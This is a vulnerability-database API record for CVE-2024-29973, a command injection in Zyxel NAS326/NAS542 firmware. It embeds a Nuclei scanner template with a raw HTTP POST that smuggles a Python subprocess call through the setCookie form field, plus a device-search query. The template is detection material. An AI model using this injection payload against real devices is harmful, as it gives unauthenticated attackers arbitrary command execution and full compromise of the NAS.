{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-29973/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-29973/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-29973/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-29973/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-29973/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-29973"},"sightings":{"href":"/api/v1/sightings/cve-2024-29973"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-29973.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-29973\n\ninfo:\n  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.\n  impact: |\n    Attackers can execute arbitrary OS commands on the NAS device, leading to complete compromise.\n  remediation: |\n    Update Zyxel NAS326 firmware to a version that patches the command injection vulnerability.\n  reference:\n    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/\n    - https://x.com/sirifu4k1/status/1803267896656929099/photo/1\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-29973\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.88\n    cve-id: CVE-2024-29973\n    cwe-id: CWE-78\n    epss-score: 0.86089\n    epss-percentile: 0.99725\n    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: zyxel\n    product: nas326_firmware\n    fofa-query: app=\"ZYXEL-NAS326\"\n  tags: cve,cve2024,zyxel,rce,intrusive,vkev,vuln\nvariables:\n  string: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /cmd,/simZysh/register_main/setCookie HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei\n\n        ------WebKitFormBoundarygcflwtei\n        Content-Disposition: form-data; name=\"c0\"\n\n        storage_ext_cgi CGIGetExtStoInfo None) and False or __import__(\"subprocess\").check_output(\"echo {{string}}\", shell=True)#\n        ------WebKitFormBoundarygcflwtei--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'errmsg0\\\": \\\"OK')\"\n          - \"contains(header, 'application/json')\"\n          - \"contains(body, '{{string}}')\"\n        condition: and\n# digest: 4a0a004730450220090a9bfa8f4f3d64215bb0e32cb59c95845b67e52534bb4f452378d5cf180d81022100a4db24499a7d01c89c8719da62596173475ce8cdb7b0eb00ae730cc05cb5b3dd:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-29973"}